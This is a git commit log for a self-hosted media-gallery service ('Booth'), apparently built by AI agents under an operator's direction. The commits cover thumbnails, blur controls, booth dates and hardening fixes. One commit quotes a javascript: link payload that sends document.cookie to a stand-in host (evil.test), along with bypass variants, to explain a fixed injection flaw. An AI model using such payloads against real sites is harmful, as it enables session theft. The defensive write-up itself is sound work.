gallery tile is sized by its WIDTH, though, and a 704x1408 portrait got 256px
of width for a tile Chromium renders at 361 CSS px. That is 1.4x stretched at
1x density and 2.8x on a 2x screen. The review stage serves the original,
which is why it looked sharp once opened.

- THUMB_WIDTH = 768: the widest desktop tile (3 columns, 1440px and up,
  measured at 321-361 CSS px across viewports) doubled for a 2x screen.
  THUMB_HEIGHT_MAX = 4096 stops a long screenshot going through at full height.
- An original that fits the bounds is served as-is only when it is also light
  (<= 64 KB; 768-wide thumbnails average 39 KB over the 381 live images) or
  animated, since a thumbnail is one frame. Fitting a tile in pixels is not
  being cheap in bytes: these portraits are ~1.1 MB PNGs.
- The size rule is in the cache name (`<rel>.768w.webp`). The live 512-cap
  thumbnails are newer than their sources, so the mtime check alone would have
  served them forever. The old files are orphans, swept with their booth.
- tests/test_thumbs_browser.py holds THUMB_WIDTH against the rendered grid at
  1440, 1920 and 2560. The constant is a layout number, and a redesign that
  widens the tiles turns it red instead of soft.

Measured cost, all 381 live images: 4.8 MB -> 14.2 MB of thumbnails, still ~27x
under the 386 MB of originals. Known limit: the 2-column (<=472px) and 1-column
(<=650px) reflows are softer than 768 covers at 2x. tests/mutations/thumbs.toml
proves 7 falsifiers.
2026-09-23 22:23:03 -07:00
vh 4cfbce5109 fix(blur): .blurred round-trips any rel, and one writer serves both surfaces
The heid bug-hunt on r2b merge 1 found the /blur route stripping `f` before
writing, so the form for " a.png" blurred its neighbour "a.png". The route was
only half of it: `.blurred` was one stripped rel per line, so no writer could
store a rel with a leading space or a newline, whatever the route did.
Operator-ruled 2026-09-23 ("fix the blur").

- booth/blur.py (new, stdlib-only): read_blurred / set_blurred / BLUR_FILE.
  `.blurred` is now a JSON array in sorted order, the `.seen` shape: opened
  O_NOFOLLOW | O_NONBLOCK with an S_ISREG check and a 1 MiB cap, so a planted
  symlink is refused and a FIFO can no longer hang every Desk render (the old
  read_text() blocked on one). Writes go through mkstemp + os.replace. The
  legacy line format is still READ, so the 6 live line-format files keep their
  blur until their next write upgrades them. Measured before the change: 42
  live rels, none with edge whitespace, so the defect had no live victims.
- The route no longer strips `f`.
- scripts/booth `blur`/`unblur` go through booth.blur.set_blurred instead of
  their own grep/printf line writer. Two writers of one format is how the
  formats drift, and after this change the shell writer would have appended a
  line to a JSON array. Every path is checked before anything is written.
- Item.blurred_self (appended to the record): the item's own blur, resolved in
  booth_items from the same read as `blurred`. It replaces build_gallery's
  second read_blurred, which a write between the two reads could split
  (invariant 3). app.py no longer reads blur state at all, and a test asserts
  it.

Names stay importable from booth.app and booth.items (invariant 4). blur joins
test_stdlib_only. test_cli's per-item-survives test now reads through the reader
rather than asserting the old byte format. The r2b contract and its mutation
row follow blurred_self onto the record. tests/mutations/blur_storage.toml
proves 12 falsifiers by running the change each forbids.

Not in this change, and still ours: the "off"-means-ON idiom drift between
/blur, /blurbooth and /flag (forms only ever send 0/1), and the CLI's
`.blurbooth` touch following a symlink where the service no longer does.
2026-09-23 22:05:18 -07:00
vh cce6a20abe merge(r2b): the Desk row, booth dates, and the theme toggle
design-dev's r2b merge 2 (D1 + D1b + D3), merged on the operator's approval
with both heid panels folded (code review and bug hunt, 4/4 each), landed after
merge 1 and its live check so a live regression points at one of the two.

436d234 is the feature. The Desk row gets an always-visible lifetime pill (kept,
held, counting), with zip / keep|release / wipe floating over the preview strip
on hover or focus and taking no room; on touch they are the row's last line.
Booth dates render on the row and the booth header from created_at (statx birth
time) and landed_at: four never-raise date filters in app.py, one `now` per
page, and a date the filesystem cannot give or the calendar cannot hold renders
nothing. The System / Light / Dark toggle is stored per viewer, applied before
first paint, and reaches the ask chrome embed.js mounts inside verbatim pages
(only the fragments it mounted; an author's own .bk-ask is never marked).
_svos_tokens.css is re-vendored at the same SVOS SHA with a scoping-only
transform.

1558a7f folds both panels.
2026-09-23 21:44:14 -07:00
vh b92b00215f merge(r2b): reveal all, and the booth blur control
design-dev's r2b merge 1 (D2 + D2b), merged on the operator's approval after
design-dev's "merge it" with both heid panels folded (code review and bug hunt,
4/4 each).

5ded5ff is the feature: a per-viewer "reveal all" for blurred items, and the
whole-booth fog control on the booth page, the review and the Desk. 75623c7
folds both panels, and two of its edits land in our code. set_booth_blurred no
longer touch()es through a planted .blurbooth symlink: anything already at the
name reads as fogged and nothing is written, otherwise it creates with
O_CREAT|O_EXCL|O_NOFOLLOW (the class record_view was hardened against).
booth_blur_all only redirects back to the review for a member of the review
ring, as the mark routes do.

20f1cb8 and ca0641f are test-only: opt-in Playwright traces for failing browser
tests, then a test browser with no internet in both fixtures, each with a
positive control (an external host fails fast, a Booth page still goes idle).
The flake's cause is NOT confirmed: 0 reds in 24 untraced runs after the change
is consistent with the fix but no trace ever caught the stalled request.
2026-09-23 21:41:46 -07:00
vh 1558a7fa07 fix(desk): the heid code-review and bug-hunt panels on r2b merge 2, folded
The bug hunt (4/4) and code review (4/4) were both clean on mechanism.
Their shared catch was the one-sided minute check.

Dates:
- The date filters never raise. One clock outside the calendar's range
  500'd the Desk for every booth, because every row renders in one
  response. An unrenderable date now renders nothing.
- "Updated" shows whenever it differs from "created" by a minute or more,
  either way. Copied content is often older than its folder.
- A clock ahead of now shows its date, never "just now".
- A day is 24h ("1d ago" never appeared).
The row:
- The controls are last in the markup, so the booth's name comes first in
  tab order and wipe last. The cluster is placed over the strip from the
  row's box.
The theme:
- A choice made in one tab moves the Booth's other open tabs.
- The theme mark goes only on ask fragments the embed mounted.
Tests, strengthened after the code review:
- the pill is visible at rest;
- keyboard focus reveals the controls;
- the controls act with scripts off;
- Reveal all reaches the doc page;
- the high-contrast check reads tokens that actually differ;
- the art-light extras are written from SVOS, not derived from the
  copies;
- two overstated mutation rows are replaced (one was a runtime no-op, one
  went red through a syntax error).
Contract amended.

r2b.toml 55/55 proved. 799 passed.
2026-09-23 20:03:32 -07:00
vh 436d234ca0 feat(desk): the Desk row, booth dates, and the theme toggle (r2b merge 2: D1 + D1b + D3)
Operator rulings, 2026-09-23.

D1, the Desk row:
- Kept vs ephemeral reads at a glance: an always-visible lifetime pill in
  the right column (sage ★ kept, amber held, ◷ counting down).
- The facts line is facts only.
- zip / keep|release / wipe are one cluster, with zip out of the middle.
  Where a real hover exists it floats over the preview strip (covering
  pictures, never information), appears on hover or keyboard focus, and
  takes no room. Anywhere else (touch, any coarse pointer) it is the
  row's last line, visible, with 32px controls. × hides too (the operator
  answered yes).
D1b: "created 12 Sep" (filesystem birth time; nothing when unknown) and
  "updated 5d ago" (the content clock), as <time> facts on the row and in
  the booth header, from one macro and one clock per page.
D3, the theme toggle: System · Light · Dark in the top bar.
- Stored in localStorage and applied in <head> before any stylesheet.
- System removes data-theme, so the OS query follows the OS live, with
  no listener.
- The token sheet is re-vendored at the same SVOS SHA with a scoping-only
  transform (155 declarations, the same set, both directions), so forced
  themes win over the OS and high contrast follows the theme in effect.
- The ask chrome inside verbatim pages follows the choice through
  data-bk-theme on our own fragments, live across tabs. The host page's
  <html> is never touched.

Declared test changes:
- two row tests replaced;
- the wipe-dialog test hovers first;
- four r2_flow rows retired, with successors in r2b.toml (45/45).
785 passed.
2026-09-23 19:25:32 -07:00
vh ca0641f55b test: the browser tests run with no internet
Every Booth page asks fonts.googleapis.com for its faces, and
wait_until="networkidle" waits for that request. A stalled request to
Google therefore held a page until goto's 30s timeout. That is the
failure the full-suite flake shows: Page.goto timeouts in tests far apart
within one run. A stalled font request reproduces it exactly.

Whether that was THE cause is not proven:
- 23 traced runs went green, against 1 red in 8 untraced;
- no trace captured the pending request.
A test that depends on Google being reachable is wrong regardless.

Both browser fixtures now launch Chromium with every hostname but
127.0.0.1 failing DNS at once. Pages fall back to the system font stacks
the tokens declare. Positive control in each file: an external host fails
with ERR_NAME_NOT_RESOLVED in under 3s, and a Booth page still goes idle.
Mutation-proved (r2b.toml 28/28). 776 passed.
2026-09-23 19:05:12 -07:00
vh 20f1cb8594 test: opt-in Playwright traces for browser tests that fail
The browser tests flake under full-suite load only; every failing test
passes alone. BOOTH_TRACE=1 keeps a full trace (screenshots and DOM
snapshots) for each browser test that fails. BOOTH_TRACE=light keeps
actions and network only, because the full mode perturbs the timing it
watches: 0/8 red traced against 1/8 untraced on the same tree. Off by
default. Positive control: a deliberately failing test keeps a trace,
and a passing one keeps nothing.
2026-09-23 18:41:32 -07:00
vh 75623c7dbc fix(blur): the heid code-review and bug-hunt panels on r2b merge 1, folded
Both panels ran 4/4 on 5ded5ff. They converged on the board and doc-page
gaps independently.

- A board holding files lost both blur controls (they sat inside the
  board suppression meant for the one-click wipe), while its items'
  "◉ booth" labels pointed at them. Only the wipe is board-suppressed now.
- A blurred doc's own full page rendered clear. Its body is blurred there
  too, with its own reveal and a Reveal all to put the blur back.
- set_booth_blurred followed a planted .blurbooth symlink (`touch`), and
  the new control made that a click away. Anything at the name already
  reads as fogged; otherwise it is created O_CREAT|O_EXCL|O_NOFOLLOW.
- The fog landing echoed `back` unchecked into the 303. It is now built
  from the review ring, as the mark routes do.
- The fog form is its own region, so an in-place save refreshes its
  label. Reveal all stays outside every region: its state lives in the
  tab.
- The review's Space-to-advance no longer swallows Space on a focused
  button or link.
- Top-bar controls stay on one line at phone width.
- Tests tightened:
  - method="post" on the fog forms;
  - exact blur values;
  - a storage READ that throws;
  - an item's own reveal carried across a swap;
  - reveal gated where it can act.

r2b.toml: 26/26 proved. 774 passed.
2026-09-23 18:41:32 -07:00
vh 37d859c0fd memory: snapshot for context clear — the arc mid-flight, and the one thing that blocks
In-flight rewritten to what is actually live: design-dev's blur merge is HELD
at 5ded5ff awaiting his explicit 'merge it' ping (both panels dispatched 17:53,
unfolded), the redesign and thumbnails and dates are shipped, and the browser
suite is flaky under load and NOT fixed.

Two detail files added. The dates one is the reusable lesson: three plausible
proxies for a creation date were considered and one was nearly built, and the
real answer was a syscall away — the system already recorded what looked
unavailable. One of the rejected proxies was write-on-read, a shape this repo
had finished paying for hours earlier.

The flake entry is written as OPEN with its limits stated: three tests, two
real defects fixed, neither proven causal, and n=3 cannot show an improvement.

Recent decisions and Tried and abandoned preserved intact (49->51 by addition,
7 unchanged); the index is back under the soft cap at 141 lines from 285, all
of the reduction from settled history leaving the volatile section.
2026-09-23 17:56:50 -07:00
vh 5ded5ffe55 feat(blur): reveal all, and the booth blur control (r2b merge 1: D2 + D2b)
The operator ruled blur A, and made it urgent: "per booth blurring is now
important since we are showing up to 4 images."

- Reveal all: one control per booth, in the booth header and the review's
  top bar, outside every data-region. It is in the markup only when
  something is blurred, always `hidden` until the script shows it.
  - The state is sessionStorage per booth, per tab, and nothing reaches
    the server. It is carried as one `reveal-all` class on <html>, applied
    before first paint from the page's own data-booth, so booth A's reveal
    cannot follow you into booth B and the index is never revealed.
  - Per-item reveal buttons stand down by stylesheet, and an item's own
    reveal is never touched, so "blur again" restores each item as it was.
  - A storage write that throws still applies the click.
- The booth blur control: a plain form to booth-dev's POST /blurbooth, so
  it works with scripts off. Its label follows is_booth_blurred; from the
  review it carries `back` and lands on the same item. A fogged booth's
  Desk row says "◉ blurred".
- Found by rendering it: under a fogged booth every item reported
  `blurred`, so an item blurred only by the booth offered an un-blur that
  visibly did nothing. The gallery now carries `blurred_self`, and such an
  item shows "◉ booth", a label rather than a control.

Contract docs/contracts/r2b_desk_reveal_theme.contract.md (heid contract
panel 4/4, folded). tests/mutations/r2b.toml: 14/14 proved. 765 passed.
2026-09-23 17:52:33 -07:00
vh 091f4b5f2d feat(dates): creation and update times for every booth, from the filesystem
The operator: "I think I want creation and update dates on the booths now too."

UPDATE was already there — `landed_at`, the newest mtime among CONTENT
excluding our own machinery, which the Desk already sorts "new since you looked"
by.

CREATION had no honest source. `.booth.json` carries a declared `created`, but
only for booths posted through the CLI since U5 — TWELVE OF THIRTY live booths
had none. Every alternative was a guess wearing a fact's clothes: oldest content
mtime is wrong the moment an agent copies files with timestamps preserved;
directory mtime is just "last thing added", which is landed_at renamed; and
stamping a first-seen marker on read is the same write-on-read shape that spent
an hour of today aging the booth it cached.

ext4 records a real birth time. CPython does not expose st_birthtime on Linux,
so booth/birthtime.py reads it through statx(2) — a fact the disk already holds
rather than one we invent. Verified against stat(1) on live booths, 6 of 6
exact, including every booth with no manifest. ONE rule for all thirty, which is
what invariant 6 asks of anything statable in a line.

None when the filesystem cannot say (tmpfs, NFS, an old kernel), and None
renders as nothing — the honest output when nobody knows. Never raises:
list_booths calls it once per booth on every index load, so a read that can
raise is a service-wide outage wearing a single-booth bug's clothes.

ALSO TWO REAL TEST-HARNESS DEFECTS, found chasing a flake and fixed on their
merits rather than because they were proven to be the cause:

- The keyboard-flag browser test fired ArrowRight and `f` back to back,
  assuming the first had finished — and focus() does a scrollIntoView, so under
  load `f` could arrive with no cursor and flag nothing. It now waits for the
  cursor to land.
- BOTH browser fixtures did bind -> getsockname -> CLOSE -> hand uvicorn the
  port NUMBER, leaving a window for the kernel to give that port to somebody
  else. This suite runs two browser files that each start a server per test, so
  the competitor is right there. The bound socket is now handed over directly.

⚠ THE FLAKE IS NOT PROVEN FIXED. Two different browser tests failed once each
across full-suite runs while passing 3/3 and 5/5 in isolation; since the fixes,
one failure in three runs. n=3 cannot distinguish that from the prior rate and
this commit does not claim it does.

770 green on a clean run.
2026-09-23 17:48:30 -07:00
vh cecd877f60 memory: the design arc mid-flight — blur landed, UI pending, and what not to do
A fresh session needs four things that are not derivable from the code: that
design-dev is shipping in two merges with blur first, that the booth-blur
storage and CLI are already landed so only the control is missing, that the Desk
exposes 84 images across 22 booths on the first page (which is WHY blur got
re-prioritised), and that the operator explicitly declined to have the
sindra-nude-* booths blurred on his behalf.

Also records that the hover ruling only looked like it reversed design-dev's
argument — he resolved it with @media (hover: hover) rather than anyone being
overruled, so it should not be re-raised as a conflict.
2026-09-23 17:27:09 -07:00
vh a9e71108a7 feat(cli): booth blur <name> with no files fogs the whole booth
The operator: "per booth blurring is now important since we are showing up to 4
images."

The Desk is why. Measured on the live set: 84 images across 22 booths on the
page he opens first, 10 of them blurred. Before the redesign the index showed
one cover per booth; four-up multiplies the exposure by four, and NOTHING POSTED
BEFORE THE REDESIGN OPTED INTO THAT.

The storage landed with the flag; this is the half that makes it usable before
design-dev's control ships. Seventeen handles call this script, so a session
posting sensitive work can self-blur AT POST TIME — which is the durable fix,
because the operator should not have to police 22 booths by hand.

No files named means the whole booth, which is the mental model already: `blur
<name> <file>...` was per item and required two arguments, so one argument could
only ever have been an error. COMPOSES with the per-item list: `unblur <name>`
clears the flag and leaves individual choices exactly as they were, the same
promise the resolver makes.

Also records both rulings routed this turn: x hides with the other Desk
controls, and the theme toggle reaches the chrome inside verbatim pages.

Verified under the system python3 with no venv, which is the only way most
callers ever run it.
2026-09-23 17:25:12 -07:00
vh c1108a1966 feat(blur): a booth can be fogged as a whole, composing with per-item blur
The operator ruled booth-level blur in and chose reading A for the reveal
("A is fine"). design-dev specced the semantics and owns the controls; this is
the storage half.

COMPOSES, NEVER OVERRIDES. An item is blurred iff the booth is blurred OR it is
in .blurred, so turning booth blur off leaves an agent's per-item choice exactly
as the poster left it. An override would need a per-item "unblurred" exception
list, which is state nobody can see.

Resolved in booth_items, so every surface inherits it for free — Desk strip,
tiles, flag tray, filmstrip, stage all already read Item.blurred and none of
them learns the booth flag exists (INV-1). Images and video only; audio has
nothing to hide from a glance.

A MARKER, deliberately not JSON. `.seen` is JSON because it holds rels that must
round-trip exactly; a boolean has nothing to round-trip, and matching `.forever`
means the two whole-booth flags read the same way. We told design-dev it would
be JSON and it should not be — said so rather than quietly shipping the other
thing.

is_booth_blurred mirrors is_kept's lstat shape WITH THE SAFETY INVERTED, and the
inversion is the point: is_kept fails toward keeping because a failed read must
not authorise a delete; this fails toward HIDING, because a failed read must not
reveal something a poster asked to fog. Both are "the failure does not cause the
loss".

Also records the operator's 2026-09-23 ruling that there is NO 1.0 yet, and adds
.blurbooth to CLAUDE.md's dotfile list. 766 green.
2026-09-23 17:06:37 -07:00
vh 65e7dc2a4e fix(board): a link row could rewrite the dialog that authorises its deletion
Found by design-dev, the same class as the wipe dialog he had just fixed on the
Desk, and reported across the fence rather than kept.

A board row's description and URL are written by any of seventeen agent handles
and were pasted RAW into the `confirm()` the operator reads before approving a
delete. A bidi override (U+202E) or a newline in either re-orders or hides what
he is consenting to, so the row shown is not the row removed.

Escaping does nothing here and that is the trap: autoescape protects the PAGE,
but `confirm` renders a plain string, so the markup defence everyone reaches for
first is irrelevant to the surface that actually carries the decision.

Control and bidi formatting characters now render as U+FFFD — visibly mangled,
never silently re-ordered — through the same helper shape design-dev used, so
the two dialogs cannot drift apart.

Both arguments go through it, and the mutation row defeats exactly that: taking
the raw description back for one of the two turns the test red. 763 green.
2026-09-23 11:31:20 -07:00
vh 995e7b9686 merge(desk): release and wipe move onto the facts line
The operator: "release and x take up space whether or not they're visible."
Confirmed — opacity:0 hid them while still reserving about 100px of side column
and a 36px row. Each control now sits beside the fact it changes ("kept ·
release", "expires in 22h · keep"), always visible, taking no room of its own,
and nothing hides behind a hover that touch screens never had.

d40e8fd is the change; 704e8cd is its heid bug-hunt fold (round Slate):
coarse-pointer touch targets at 28px with wipe clear of zip, control and bidi
characters shown as U+FFFD in the wipe dialog, an unknown data-confirm word
prompting rather than submitting unguarded, and the CSS "code" rule wrapping
anywhere so a long unbreakable install path in the footer stops widening every
page, the Desk included.

A surgical change that still went through a bug-hunt, which is the discipline
paying for itself: the last item was a latent overflow already on main that only
became visible once the row was a flex container.
2026-09-23 11:28:53 -07:00
vh 704e8cd809 fix(desk): the heid bug-hunt panel on the row controls (round "Slate", 4/4)
- Touch: on a coarse pointer every row control is at least 28px square
  again (32px), and wipe stands clear of the zip link. The move onto the
  facts line had dropped the deliberate 28px floor to ~21px, 4-6px from
  zip; with scripts off no confirm fires, so a mis-tap on wipe is the
  delete. The zip link no longer breaks between its glyph and its word,
  and each separator is glued to the item after it.
- The wipe dialog shows the name as it should be read: control and bidi
  formatting characters in an agent-made name show as U+FFFD, so U+202E
  or a newline cannot rewrite what the operator approves. An unknown
  data-confirm word now prompts generically instead of submitting
  unguarded (fail closed).
- No page scrolls sideways: `code` wraps anywhere, so a long unbreakable
  install path in the footer or the empty Desk no longer widens every
  page. The overflow test now sweeps 390/720/850/1000/1400 with the
  heaviest row the Desk draws, and compares scrollWidth with the page's
  own clientWidth.

Its first fixture used a hyphenated path, which wrapped by itself; the
test passed with the bug present until the path became one unbreakable
run. r2_flow.toml: 27/27 proved. 749 passed.
2026-09-23 11:27:34 -07:00
vh 70bfff15cf memory: the cache that aged the thing it cached
Two lessons from the thumbnail work, the second of which nearly shipped.

We parked progressive loading on a count of images and the cost was in bytes.
'Measure the real booth before optimising it' was followed and still gave the
wrong answer, because we measured the dimension that was easy to measure rather
than the one the user feels.

And a cache living inside the thing it describes can age that thing. Excluding
every path under the cache dir passed its own test and was still wrong: creating
the directory touches the BOOTH's own mtime, which is what _newest_mtime seeds
from. The contents were excluded; the existence was the leak. Had it reached the
Desk, one index load would have pushed every booth's expiry out and the TTL
would never have fired again.
2026-09-23 10:58:21 -07:00
vh d40e8fd4a6 fix(desk): a row's keep, release and wipe take no room of their own
Operator, on the live Desk: "release and x take up space whether or not
they're visible." They sat in a side column at opacity 0, which hides a
control and still reserves its box, and hover-only never worked on
touch.

Each control now sits on the facts line beside the state it changes:
release after "kept", keep after a countdown or hold, wipe last. They
are always visible and quiet, and wipe turns danger only under the
pointer or focus. The side column renders only when the row carries a
badge. The row is flex, so an absent column costs no gap. Forms, POST
targets and data-confirm wording are unchanged.

The flex row exposed a latent sizing bug: the stacked Desk column was a
bare 1fr, whose minimum is its content's, so a long nowrap provenance
line scrolled the page sideways at phone width (1029px at 390). It is
now minmax(0,1fr).

Both behaviours have browser tests, mutation-proved (r2_flow.toml:
21/21). Contract C4 amended.
2026-09-23 10:58:15 -07:00
vh ff35023377 test(flow): the Desk strip asserts the thumbnail, and says why it moved
design-dev's test read 'the originals shown small (no generated thumbnail)',
which was true when written and is precisely what the operator rejected: four
images per booth on the page he opens first was the heaviest surface in the
service.

Declared rather than quietly edited, per the rule that an existing assertion is
not changed to make a change pass. The behaviour genuinely changed, on his own
instruction to swap all four small surfaces in one commit.

Worth recording in the docstring: the URL carries ?thumb=1 from the EXTENSION
alone, with no disk read, so a tiny stub fixture still gets the parameter and
the route serves the original when there is nothing worth generating. The URL
never depends on what is on disk.

39/39 falsifiers proved across both mutation tables.
2026-09-23 10:57:04 -07:00
vh 9aa91d5dc7 merge(r2 follow-up): the EACCES blast radius, and r2's falsifier table
design-dev's two follow-up commits on the R2 branch.

167f265 is PRE-EXISTING and his to have found, not his to have caused:
Path.is_file() swallows ENOENT but PROPAGATES EACCES, so one folder with r--
and no x in one booth made booth_items raise — and list_booths calls it for
every booth, so the index 500s for all of them. Identical blast radius to the
0xff filename the bug-hunt panel found, arriving through a different syscall.

39a3cb2 commits R2's own falsifiers as tests/mutations/r2_flow.toml, 18 rows.
Its first run caught three vacuous proofs, which is the fourth time this week
that running the mutation has disagreed with reading the assertion.

# Conflicts:
#	booth/items.py
2026-09-23 10:52:08 -07:00
vh 18d599dd2a fix(thumbs): the cache aged the booth it cached, and two more surfaces
Two corrections to the thumbnail work, the first of them a live bug shipped an
hour ago and caught by design-dev before its worst form landed.

⚠ GENERATING A THUMBNAIL RESET THE BOOTH'S EXPIRY CLOCK. `_newest_mtime`
excludes `.lock` sidecars because machinery is not the operator doing something;
the thumbnail cache is machinery too, and it is written by the SERVER on a mere
view. Excluding the cache's CONTENTS turned out not to be enough — creating
`.thumbs/` touches the BOOTH DIRECTORY's own mtime, which is exactly what
_newest_mtime seeds from. The booth's stamp is now restored across the mkdir,
which cannot hide real activity because any file an agent adds is counted by its
own mtime in the same walk.

The failure this prevents is not small. Once the Desk's preview strip pulls a
thumbnail per booth, ONE INDEX LOAD would have pushed every booth's expiry out
and the TTL would never have fired again — nothing would ever sweep. It was
already live for the gallery, one booth at a time.

TWO MORE SURFACES, because the fix only helped where it was wired:

  Desk preview strip  four small images per booth on the page he opens FIRST.
                      design-dev measured 28 originals / 24.1 MB on a 12-booth
                      copy; live has 28. The heaviest surface in the service,
                      heavier than the gallery it previews.
  flag tray           _marks.html rendered originals as tray thumbnails.

The review stage stays on the original, because that is the full-size review.

754 green plus the new guards.
2026-09-23 10:51:40 -07:00
vh d5e23c7d5f perf(thumbs): the gallery shipped 77 MB to render 250px tiles
The operator found this in about a minute of using the live Desk: "images load
at full resolution instead of calculated thumbnails, which means they load VERY
slowly and are tiny."

MEASURED on the live set:

    sindra-corpus-v1   66 images   77.5 MB   1024x1024 each
    sindra-sfw-pool    59 images   71.7 MB
    sindra             30 images   61.6 MB   2.1 MB average
    sindra-bakeoff     40 images   57.2 MB

A tile renders around 250px, so the grid shipped roughly 16x the pixels that
reach the screen.

⚠ OUR PARKING RATIONALE WAS WRONG IN AN INSTRUCTIVE WAY. ROADMAP parked
progressive loading on "the largest gallery is 66 images; at that size a lazy
grid is almost certainly fine", and the parking-lot row said "270 <img
loading=lazy> may be fine". Both count IMAGES. Neither weighs BYTES. We measured
the dimension that was easy to measure rather than the one that determines the
experience, and 66 really is a fine count sitting on a terrible payload.

booth/thumbs.py caches WebP at 512px longest side inside the booth at
`.thumbs/<rel>.webp` — inside on purpose, so a cache can never outlive what it
describes. Pillow is an optional import: absent, every tile falls back to the
original, so the page is heavier and never broken. Generation is lazy, atomic
(temp + os.replace), rebuilt when the source is newer, and NEVER RAISES.

?thumb=1 rides the EXISTING file route rather than growing a new one, because
that route's traversal guard is already correct and a second route is a second
place to get it wrong.

ALSO FIXES A PRE-EXISTING LEAK THE CACHE WOULD HAVE WALKED INTO. booth_items and
zip_booth both tested `p.name.startswith(".")` — the FILE's name — so
`.thumbs/a.png` (name `a.png`) would have rendered as a gallery item and shipped
inside every zip. CLAUDE.md invariant 2 promises a dotfile costs nothing in item
counts, galleries or zips; that was true only at the top level. Both now skip
every dot-prefixed path COMPONENT.

AND THE FILMSTRIP, which is the same defect in a worse place: it shows EVERY
ring item at a few dozen pixels, so full-resolution frames there cost more than
the grid did. The stage is untouched and stays full size, because that is the
full-size review.

Item.thumb is derived in the resolver, not by a template reasoning about `kind`
(INV-1). build_gallery had to carry it too — a missing key there rendered as a
SILENT fallback to the full image, which is exactly where a new Item field gets
dropped with nothing failing.

754 green.
2026-09-23 10:47:34 -07:00
vh 39a3cb2262 test(r2): commit the round's falsifiers as a mutation table; one flag predicate
tests/mutations/r2_flow.toml: 18 falsifiers, each proved RED under its
change by scripts/mutation_check.py (18/18). Its first run found three
vacuous proofs, now resolved:
- landed_at's per-entry skip: the symlink-loop fixture stopped raising
  once the clock moved to lstat. New fixture: a folder that lists but
  cannot be searched.
- the Desk's bench URL guard: the test covered bookmarks only. A
  hand-edited registry bench now rides with it.
- flagged_targets' `error is None`: defence in depth (hydration already
  strips a damaged mark's target), so no single-guard row; named in the
  table header instead.

The rail's flagged filter and the orphan-flag list read flagged_targets
rather than restating it; no reachable behaviour changes.
2026-09-23 10:38:02 -07:00
vh 167f2657c5 fix(items): an entry the walk cannot stat costs that entry, not every page
Path.is_file() swallows a missing entry but propagates EACCES. A
directory with read and no execute permission lists its names while
every stat under it raises, so one such folder in one booth raised out
of booth_items — and list_booths calls that for every booth, taking the
index down for all of them. The same blast radius as the
unrepresentable-filename case; the same posture applies: such an entry
is not a renderable file.

Predates R2 (identical on main before the merge); found while folding
R2's bug-hunt, where it made landed_at's per-entry skip unreachable.
2026-09-23 10:38:02 -07:00
vh 447a9b67e9 fix(links): the board rendered agent-written javascript: hrefs
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so

    javascript:document.location='http://evil.test/'+document.cookie

was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.

links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.

THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.

Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.

Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
2026-09-23 10:34:22 -07:00
vh f43a41fb49 docs(roadmap): R2's nine ordering rows, and the zoom-ring row REPLACED not amended
Lifted from r2_flow's INV-2 table rather than rewritten, so the contract and the
roadmap cannot drift into two statements of one rule.

The zoom-ring row is replaced because review_chain filters to media, not
images — 'filtered to images' is now false, and a stale row is invariant 6
failing quietly, which is the only way it ever fails.

The ordinal row is the one worth reading: an ordinal counted across ALL items
makes '#07' the same tile under every filter. The operator refers to artifacts
positionally, and the filters we shipped in U7 had quietly broken that — 'the
third one' meant something different depending on which filter was on. Nothing
on our side noticed; design-dev proposed it unprompted.
2026-09-23 10:29:09 -07:00
vh 225570623d docs: the dotfile list gains .seen, and names the shape a new one should copy
Held until the merge deliberately: this file describes what is deployed, and
writing it while the code sat on another agent's branch would have made our
canonical convention document describe a service that was not running.

Also records a latent bug the R2 work surfaced in code it did not touch.
.blurred stores one stripped rel per line, so a rel carrying a leading space or
a newline does not round-trip and blurring ' a.png' can blur 'a.png'. .seen was
written as a JSON array for that reason, and additionally opens O_NOFOLLOW |
O_NONBLOCK with an S_ISREG check so a planted symlink is refused and a FIFO
cannot hang the read — the outage this repo has already paid for once. New
dotfiles inherit .seen's shape, not .blurred's.
2026-09-23 10:28:52 -07:00
vh 1ddd1c5654 merge(r2): the review flow — the Desk, the lightbox, the reel
design-dev's R2, built against the operator's 2026-09-23 rulings (a_b /
this_arc / plain / no emblem) and handed over clean. Merged, not rebased: the
branch is another agent's work and its seven TDD commits are the record of how
it was built.

Full house discipline on his side, all complete: contract, heid contract panel
(Lark) folded, seam review against the real modules, TDD slices C1-C7, heid
code-review (Wren) 4/4 folded, heid bug-hunt (Nyx) 4/4 folded. Every new browser
test mutation-checked against its own fix.

Reviewed here before taking it, on the three things only this side knows:
  - the quote() guard in the collection loop is intact (it looks like a stray
    try around a discarded call, which is how it would get tidied away; it is
    what stands between one 0xff filename and a 500 on every booth's card)
  - Item.ordinal is APPENDED, not inserted — the mistake we made with
    Item.group and two bug-hunt arms flagged
  - image_chain stays importable and unchanged; review_chain supersedes it only
    for the review route

.seen came back better than specified: O_NOFOLLOW | O_NONBLOCK plus an S_ISREG
check, which defeats a planted symlink AND the FIFO-with-no-writer hang that
cost this service an outage once already, and a JSON array so a rel carrying a
leading space or newline round-trips exactly.

The zoom ring is now review_chain (image, video and audio) rather than
image_chain. That is a declared ordering-rule change and ROADMAP's table moves
with it.
2026-09-23 10:25:20 -07:00
vh 77833dc6d4 fix(r2): the heid bug-hunt panel (round "Nyx", 4/4) — triaged and folded
In-place client (base.html):
- Saves are serialized: POST, re-fetch and swap complete before the next
  save starts, so an older snapshot can no longer land after a newer one.
- A form already queued or in flight ignores another submit; a
  double-click writes one note.
- Dirty controls (drafts, unsent radio choices) and disclosures carry by
  identity (form action + hidden ask/target/mark/f + name), not position.
- Any non-tile structural difference, or a page with no region to swap,
  reloads instead of patching.

Server and templates:
- .seen is a JSON array read without following links or blocking,
